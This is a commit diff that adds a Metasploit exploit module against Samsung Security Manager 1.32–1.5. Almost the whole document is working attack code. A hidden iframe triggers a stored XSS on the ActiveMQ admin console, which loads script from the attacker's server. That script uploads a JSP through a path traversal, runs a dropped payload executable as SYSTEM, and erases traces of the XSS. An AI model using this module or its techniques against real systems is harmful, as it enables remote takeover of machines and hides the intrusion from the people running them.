Add Samsung Security Manager 1.5 ActiveMQ Broker exploit
parent
e7aa658893
commit
230903562f
|
@ -0,0 +1,230 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "Samsung Security Manager 1.5 ActiveMQ Broker Service PUT Method Remote Code Execution",
|
||||
'Description' => %q{
|
||||
This is an exploit against Samsung Security Manager that bypasses the patch in
|
||||
CVE-2015-3435 by exploiting the vulnerability against the client side. This exploit has
|
||||
been tested successfully against IE, FireFox and Chrome by abusing a GET request XSS to
|
||||
bypass CORS and reach the vulnerable PUT. Finally, a traversal is used in the PUT request
|
||||
to upload the code just where we want it and gain Remote Code Execution as SYSTEM.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'mr_me <mr_me[at]offensive-security.com>', # vuln + module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://metasploit.com' ]
|
||||
],
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
# tested on 1.32, 1.4 & 1.5
|
||||
[ 'Samsung Security Manager 1.32, 1.4 & 1.5 Universal', {} ],
|
||||
],
|
||||
'DisclosureDate' => "Aug 05 2016",
|
||||
'DefaultTarget' => 0))
|
||||
register_options(
|
||||
[
|
||||
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
# this is because String.fromCharCode has a max of 65535 func args
|
||||
# thanks to sinn3r for his help with the Array->String conversion
|
||||
def encode_js(string)
|
||||
i = 0
|
||||
encoded_0 = []
|
||||
encoded_1 = []
|
||||
string.each_byte do |c|
|
||||
if i > 65534
|
||||
encoded_1 << c
|
||||
else
|
||||
encoded_0 << c
|
||||
end
|
||||
i += 1
|
||||
end
|
||||
if i > 65534
|
||||
return encoded_0 * ",", encoded_1 * ","
|
||||
else
|
||||
return encoded_0 * ","
|
||||
end
|
||||
end
|
||||
|
||||
# tested on Firefox v46.0.1 (latest)
|
||||
# tested on Chrome v50.0.2661.102 (latest release)
|
||||
# tested on IE v11.0.9600.18314 (latest)
|
||||
def on_request_uri(cli, request)
|
||||
|
||||
js_name = rand_text_alpha(rand(10)+5) + '.js'
|
||||
|
||||
payload_url = "http://"
|
||||
payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
|
||||
payload_url += ":" + datastore['SRVPORT'].to_s + get_resource() + "/" + js_name
|
||||
|
||||
# we deliver the JavaScript code that does the work for us
|
||||
if (request.uri.match(/.js/))
|
||||
return if ((p = regenerate_payload(cli)) == nil)
|
||||
|
||||
# dont exploit again otherwise we get a zillion shells
|
||||
return if session_created? or @exploited
|
||||
|
||||
jsp_name = rand_text_alpha(rand(10)+5) + '.jsp'
|
||||
exe_name = rand_text_alpha(rand(10)+5) + '.exe'
|
||||
|
||||
# clean just the jsp, because the exe dropper will be in use
|
||||
register_files_for_cleanup("../../webapps/admin/#{jsp_name}")
|
||||
|
||||
# our jsp upload, ensuring native code execution
|
||||
jsp = %Q|<%@ page import="java.io.*" %>
|
||||
<%
|
||||
ByteArrayOutputStream buf = new ByteArrayOutputStream();
|
||||
BufferedReader reader = request.getReader();
|
||||
int tmp;
|
||||
while ((tmp = reader.read()) != -1) { buf.write(tmp); }
|
||||
FileOutputStream fostream = new FileOutputStream("#{exe_name}");
|
||||
buf.writeTo(fostream);
|
||||
fostream.close();
|
||||
Runtime.getRuntime().exec("#{exe_name}");
|
||||
%>|
|
||||
|
||||
# encode the payloads
|
||||
encoded_exe = encode_js(generate_payload_exe(code: payload.encoded))
|
||||
encoded_jsp = encode_js(jsp)
|
||||
|
||||
# targets
|
||||
jsp_uri = "http://localhost:8161/fileserver/..%5c%5cadmin%5c%5c#{jsp_name}"
|
||||
upload_uri = "http://localhost:8161/admin/#{jsp_name}"
|
||||
|
||||
# this code does the PUT, then uploads/exec native code and then cleans the XSS out :->
|
||||
js_content = %Q|
|
||||
|
||||
function do_put(uri, file_data) {
|
||||
var file_size = file_data.length;
|
||||
var xhr = new XMLHttpRequest();
|
||||
xhr.open("PUT", uri, true);
|
||||
var body = file_data;
|
||||
xhr.send(body);
|
||||
return true;
|
||||
}
|
||||
|
||||
function do_upload(uri, file_data) {
|
||||
var file_size = file_data.length;
|
||||
var xhr = new XMLHttpRequest();
|
||||
xhr.open("POST", uri, true);
|
||||
var body = file_data;
|
||||
|
||||
// latest ff doesnt have sendAsBinary(), so we redefine it
|
||||
if(!xhr.sendAsBinary){
|
||||
xhr.sendAsBinary = function(datastr) {
|
||||
function byteValue(x) {
|
||||
return x.charCodeAt(0) & 0xff;
|
||||
}
|
||||
var ords = Array.prototype.map.call(datastr, byteValue);
|
||||
var ui8a = new Uint8Array(ords);
|
||||
this.send(ui8a.buffer);
|
||||
}
|
||||
}
|
||||
xhr.sendAsBinary(body);
|
||||
return true;
|
||||
}
|
||||
|
||||
function bye_bye_xss(uri){
|
||||
var xhr = new XMLHttpRequest();
|
||||
xhr.open('GET', uri.replace(/\\+/g,"%2b"), true);
|
||||
xhr.send();
|
||||
}
|
||||
|
||||
function clean_up(){
|
||||
var xhr = new XMLHttpRequest();
|
||||
xhr.onreadystatechange = function() {
|
||||
if (xhr.readyState == XMLHttpRequest.DONE) {
|
||||
var els = xhr.responseXML.getElementsByTagName("a");
|
||||
for (var i = 0, l = els.length; i < l; i++) {
|
||||
var el = els[i];
|
||||
if (el.href.search("http://localhost:8161/admin/deleteDestination.action") == 0) {
|
||||
bye_bye_xss(el.href);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
xhr.open('GET', 'http://localhost:8161/admin/queues.jsp', true);
|
||||
xhr.responseType = "document"; // so that we can parse the reponse as a document
|
||||
xhr.send(null);
|
||||
}
|
||||
|
||||
function exploit(){
|
||||
do_upload('#{upload_uri}', String.fromCharCode(#{encoded_exe[0]}) + String.fromCharCode(#{encoded_exe[1]}));
|
||||
clean_up();
|
||||
}
|
||||
|
||||
function start() {
|
||||
do_put('#{jsp_uri}', String.fromCharCode(#{encoded_jsp}));
|
||||
setTimeout(exploit(), 2000); // timing is important
|
||||
}
|
||||
start();
|
||||
|
|
||||
|
||||
if datastore['OBFUSCATE']
|
||||
js_content = ::Rex::Exploitation::JSObfu.new(js_content)
|
||||
js_content.obfuscate
|
||||
end
|
||||
|
||||
print_status("Sending javascript...")
|
||||
@exploited = true
|
||||
send_response_html(cli, js_content, { 'Content-Type' => 'application/javascript' })
|
||||
return
|
||||
end
|
||||
|
||||
if datastore['OBFUSCATE']
|
||||
js_content = ::Rex::Exploitation::JSObfu.new(js_content)
|
||||
js_content.obfuscate
|
||||
onlick = ::Rex::Exploitation::JSObfu.new(onlick)
|
||||
onlick.obfuscate
|
||||
end
|
||||
|
||||
iframe_injection = ""
|
||||
# done so that we can ensure that we hit our payload, since iframes load very fast, we need a few
|
||||
(1..20).step(1) do |n|
|
||||
iframe_injection << "<iframe src=\"http://localhost:8161/admin/queueGraph.jsp\" width=\"0\" height=\"0\"></iframe>"
|
||||
end
|
||||
|
||||
# the stored XSS endpoint
|
||||
target = "http://localhost:8161/admin/browse.jsp?JMSDestination="
|
||||
|
||||
# we use XSS to execute JavaScript code in local context to avoid CORS
|
||||
xss_injection = "\"+eval(\"var a=document.createElement('script');a.type='text/javascript';"
|
||||
xss_injection << "a.src='#{payload_url}';document.body.appendChild(a)\")+\""
|
||||
target << Rex::Text.uri_encode(xss_injection)
|
||||
|
||||
# we can bypass Access-Control-Allow-Origin (CORS) in all browsers using iframe since it makes a GET request
|
||||
# and the response is recieved in the page (even though we cant access it due to SOP) which then fires the XSS
|
||||
html_content = %Q|
|
||||
<html>
|
||||
<body>
|
||||
<iframe src="#{target}" width="0" height="0"></iframe>
|
||||
#{iframe_injection}
|
||||
</body>
|
||||
</html>
|
||||
|
|
||||
print_status("Sending exploit...")
|
||||
send_response_html(cli, html_content)
|
||||
handler(cli)
|
||||
end
|
||||
end
|
||||
|
Loading…
Reference in New Issue